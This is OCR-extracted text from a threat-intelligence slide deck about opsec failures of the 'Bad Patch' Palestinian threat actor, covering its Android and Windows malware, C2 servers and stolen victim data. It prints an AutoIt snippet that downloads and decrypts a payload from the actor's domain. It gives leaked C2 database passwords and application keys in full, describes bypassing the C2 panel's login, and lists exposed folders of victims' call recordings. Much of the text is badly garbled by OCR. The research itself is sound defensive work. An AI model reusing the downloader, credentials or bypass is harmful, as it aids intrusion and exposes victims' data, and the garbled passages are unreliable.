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Research State of Mind

“Attack him where he is unprepared, appear where you are not

expected.”

' “If you know the enemy and know yourself, you need not fear the
- result of a hundred battles. If you know yourself but not the enemy,

. Y for every victory gained you will also suffer a defeat. If you know
neither the enemy nor yourself, you will succumb in every battle.”

— Sun Tzu, The Art of War




I Research Assumptions

@

Attackers are humans
and prone to mistakes
Advanced APT != Advanced OpSec

9

Threat actors won't
necessarily fix OpSec
holes even if they
suffered from a past
takedown or data leak.

@)

We can learn new
techniques, current
targets, plans, damage
control and a additional
valuable data.



OopsSec Meter

OopsSec Category Partial Moderate | Complete
Victi mAs Heat Map Location 1 Industry 5 Identity 10
Attack Vectors mapping 1 5 10
Access C2 backend code 3 5 10
Achieve victims exfiltrated data 5 7 10
Attacker malicious techniques 5 7 10
Built -in sinkhole capabilities 6 8 10
Attackers communication channels 7 38 10
Attribution - identity Origin 3 Partial - 7 Identity - 10
Disinformation attack 5 7 10
Take -Down Temporary -5 Partial - 8 Complete - 10

100 bad points




Bad Patch

- Palestinian Threat Actor

0 Android and Windows state -sponsored long term

Age of Campaign

The oldest sample we observed has a compile date of 12 June he C2 server linked to that sample,
| pal2me[.]net)was also first registered on the same date. This campaign has been running for at least more than

five years, and continues to this date.

2012-11-06 6144
2012-10-16 6139
2012-12-16 5/44
2012-12-03 51744
Arabic

1 oy gy a2kl g

Win32 EXE
Win32 EXE
Win32 EXE
Win32 EXE

v & English

Gl padll s pSlacns | puss pgts o s] 5 WEREY
dsfsad.exe
12.exe

A pxe

Abu Islam accuses

\

targeted campaign, active since 2012.

(1) 6security vendors and no sandboxes flagged this file as malicious

DETECTION

STRINGS

DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS

HEX

416346170617eff868705cf021a2aedecd

123.63KB

2012-11-06 08:48:03 UTC
9 years ago




Bad Patch - Palestinian Threat Actor

0 Disclosed by Palo Alto Networks at 2017.
0 Bad Authentication process - Navigate directly to inner pages without authentication
0 Navigating directly to 3/ |1 ms/index.phpi not
instead granted authenticated access to the system - keylogger exfiltration screen
Records Management System and Victims e e SO '

The threat actors have developed their own, custom system to manage the data exfiltrated by their victims, "al
a3 )" (“Records Management System”). Server logon requires 2-Factor authentication (2FA). =
eCOords ) ]

Jgaall Juawui clayll 205t g ASLENN 3gS JAAI

Figure 7- RMS SMS 2FA




Bad Patch

- Palestinian Threat Actor

0 2022 Android Malware - masquerading as Google play ssl app

0 Certificate locality and upload origin to Virustotal is from Gaza

passwords are typed

Lock the screen

Set storage encryption
Require that stored app data be encrypted

Disable cameras
Prevent use of all device cameras.

Activate this device admin app

Cancel

Control how and when the screen locks
Set screen lock password expiration
Change how frequently the screen lock password, PIN, or pattern must be cha

C:00970, CN:GooglePlayServices, L:gaza, O:GooglePlayServices, ST:palestine, OU:GooglePlayServices
GooglePlayServices

GooglePlayServices

GooglePlayServices

00970

palestine

I gaza I

o # ¥ [ 508
= . o ” . .
Activate device admin app? Certificate Subject
Distinguished Name
* Google Play services Common Name
Organization
Your It adminstrator asks the permissio . N
‘our It adminstrator asks the permission Organizational Unit
Activating this admin app will allow the app Google Play services to perform the following operations Country Code
State
Erase all data .
Erase the tablet's data without warning by performing a factory data reset Locality
e screen lock
creen lock
Set password rules
Control the length and the characters allowed in screen lock passwords and PINs
Monitor screen unlock attempts
Monitor the number of incorrect passwords typed when unlocking the screen, and lock the tablet or erase all the tablet's data if too many incorrect

Name

ssl_vb.apk

Source Country

@ 8e3fdfbc - web PS




Bad Patch - Palestinian Threat Actor

HTTP Requests

— http/isystembackups.infolapifvéidata

0 2022 Android Malware - Plenty of collection capabilities HTTP Method  POST

0 Exfiltrates victim datato a C2 server using POST - systembackups.info

Multi AV Scanner detection for submitted file Has permission fo read contacts QLEns U TIEMel LUnesiur

Contains Tunctionality to leak sensiiive phone info. .. Has permission fo read the/SMS storage Potential daie aware sample found

Requests permissions only permitted 1o signed A. ..

Has permission to read ihe call log Queries SMS data

Monitors outgoing Phone calls

. . ] m Requesis potentially dangerous penmissions
Queries alist ofiinstalled applications

Queries the device phone number (MSISDN) Has permission to read the phones state (phone ...

Starisiregisters a semvice/receiver on phone boot (. ..

Removes its application launcher (likely to stay hi... Hlas permission io receive SMSiin the background Clusies cal Lyl

Tries to add a new device administrator

Has permission to record audio injthe background @ueries phone contact information

Uploads sensitive phone information to the intem...

Has permission to send SMS in the background Queres several Sensitive phone informations

Accesses android OS build fields

Has permissions to monitor, redirect and/or block ... Quenes the phones location (GRPS)

Checks an internet connection is available

Installs a new wake lock (fo get activate on phone. .. @ueries the unique operaiing system id (ANDROI...

Checks it the device administrator is active

Lists and deletes files in the same context Queries the ungiue device ID (IMEI, MEID ar ESN)

Detected TCP or UDR traffic on nen-standard ports

May check for popular installed/apps Reads the incoming call number

Has permission o execute code afier phone reboot

Monitors incoming Phone calls Records audio/media

Has permission o perform phone calls injthe bac...

10

Obfuscates method names Redirects camera/video feed

Has permission o query the list oficurrently munni.. .




Bad Patch - Palestinian Threat Actor

0 Handling of PHP errors - sending HTTP GET request to /api/v6/data.
0 Expectinga POST request, it will print the DB name user name and password!!!

systembackups.info/api/v6/data

SCRIPT_URL date”
UNIQUE_ID
2 0 REDIRECT_STATUS -

not supported for this route. REDIRECT_SCRIPT_URI "http://systembackups.info/api/vé/data"
POST. REDIRECT_SCRIPT_URL ;
REDIRECT_UNIQUE_ID
FCGI_ROLE

PHP_SELF
REQUEST_TIME_FLOAT
REQUEST_TIME

OakvSVaQQY i 78gAARBY ™

argv
argc e
= & APP_NAME ravel
melException\MethodNotAllowedHttpException D 2
' . APP_ENV "local”
¢ APP_KEY "base64 : cdbzwDLTn1L73pBoE02wEGHWIPssFOt jumYur@K9oSY="
[APP_DEBUG |
ection methodNotAllowed APP_URL | “http://localhost™
LOG CHANNEL "stack" |
[08_CONNECTION | “mysql* |
os_nosT |
ection getRouteForMethods [=3304 |
pe_Us Erwe |
"XCGIGKE Jk]2M"
ection match DB_PASSWORD 1GKE k]

DB_DATABASE | “systembs_sndro”
06 USERNANE | "5 Stemba-onaro

DB _PASSHORD "wCO1GKE k] zM"




Bad Patch - Palestinian Threat Actor

0 Handling of PHP errors
SERVER_NAME
SERVER_PORT
SERVER_PROTOCOL
SERVER_SIGNATURE
SERVER_SOFTWARE

- all c2 servers are vulnerable

"badblueinfo.tstapi.paldu.net“]

“80"
"HTTP/1.1"

“Apache/2.4.41 (cPanel) OpenSSL/1.0.2t mod_bwlimited/1.4"

TZ ["Asia/Gazaq

UNIQUE_ID "Xfz7f0CcdrxtI3tlwIkYcgAAAIC™
PHP_SELF "/index.php”
REQUEST_TIME_FLOAT 157686054@.8679

REQUEST_TIME 1576860540

argv [1]

argc 2

APP_ENV "local”

APP_DEBUG “true"”

APP_KEY "baseb4:p6rq3H20LGzqeB9BpskII69cyU4nkidPL62zsfzGFFbk="
DB_HOST "localhost™

DB_DATABASE
DB_USERNAME
DB_PASSWORD

"j79syste_mla3"
"j7@syste_mlO3"
"HB7pF3yireQT"

12



Bad Patch - Palestinian Threat Actor

0O Stillbadin2022 -Allvi cti mAs exfiltrated

2017
%Iware do

wn and execute code

data i s open

™

sl YWV & W

@O oo

gtyu()
2izi2()
Func _ziziz2()
Local $sfilepath = _winapi_
Local $hdownload = InetGet(['http://www.paldu.net/zzzzz",
$inet_forcereload, $inet_downloadbackground)

$sfilepath,

Do
Sleep(250)
Until InetGetInfo(Shdownload, $inet_downloadcomplete)
InetClose(Shdownload)
Local Sialgorithm = $calg_rc4

If _crypt_decryptfile(8sfilepath, "2><MNBVCXZ", $ialgorithm)

Ihon

users-2022

< c

& app.paldu.net/ccc/

Index of /ccc

Name

Last modified Size Description

Parent Directory,

css/
notes txt
users-2022

02

13

14

2017-08-30 16:18
2022-02-07 1736 26

.= 2022-02-13 14:02 397TM

users-2022

02

13

22

.= 2022-02-13 22:04 §32M

users-2022

02

14

04

.= 2022-02-14 04:02 409M

users-2022

02

14

14

.= 2022-02-14 14:01 599M

users-2022

02

14

22

L= 2022-02-14 22:02 594M

users-2022

02

15

04

.= 2022-02-15 04:03 414M

users-2022

02

15

14

.= 2022-02-15 14:01 362M

users-2022

02

15

22

.= 2022-02-15 22:02 602M

02

16

04

.= 2022-02-16 04:00 248M




Bad Patch
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- Palestinian Threat Actor

| ~7800

Andr ol

d

Vi cti

mA s

sens

t

vV e

exf il

0 Including in and out calls recording, microphone hijack, Android WeChat, CV files, images

call_11-18-49_0U
call_11-31-03_OUT_
call_11-31-45_0UT,
call_11-50-57_IN
call_12-10-09_OUTY
call_12-24-08_OUT,

call_12-59-31_0UT,
call_13-10-20_0U
call_14-35-40_0
call_15-53-56_0
call_16-14-46_0!
call_16-57-25_0U
call_19-36-10_IN
call_19-51-31_IN
call_20-23-19.0

call_21-39-22 OU

39

7215_62169fd97f180.amr
97_6216a1481cbe3.amr

6216a2a8aled6.amr

2780.amr
672_6216aa8eb96e5.amr

6216accdbcff2.amr
_6216ae372f93c.amr
16af9f46269.amr

216b29f9d3cd.amr
6216b40c033e0.amr

86_6216b5716e36b.amr

4_6216b1044be06.amr  24/02/2022 0:11

0 50 GB compressed 470M compressed

average per day.

t

State of Palestine
Ministry of Health
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)24
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Bad Patch - Palestinian Threat Actor T —

& C2Opendir - https://trackmobi.live/ Index of /

Name Last modified Size Description
artisan 2020-10-30 08:07 16K
composerjson 2020-10-30 08:07 1.6K
package json  2020-10-30 08:07 944
phpunit.xml 2020-10-30 08:07 12K
public/ 2020-10-30 08:07 -
server php 2020-10-30 08:07 363
webpack mix js 2020-10-30 08:07 339
app/ 2022-02-01 22:57 -
database/ 2022-02-01 22:57 -
resources’ 2022-02-01 22:57 -
storage/ 2022-02-01 22:57 -
composerlock 2022-02-01 22:57 280K
vendor/ 2022-02-01 22:38 -
cgi-bin’ 2022-02-07 19:43 -
Matajer-Mimse/ 2022-02-22 10:11 -
fests/ 2022-02-24 02:33 -
routes/ 2022-02-24 02:33 -
config/ 2022-02-24 02:33 -

bootstrap’ 2022-02-25 11:38 -



https://trackmobi.live/

I Bad Patch - Palestinian Threat Actor

0 Still bad in 2022 - Full backend (server side) in a zip file

- available from C2 -alsoin VT
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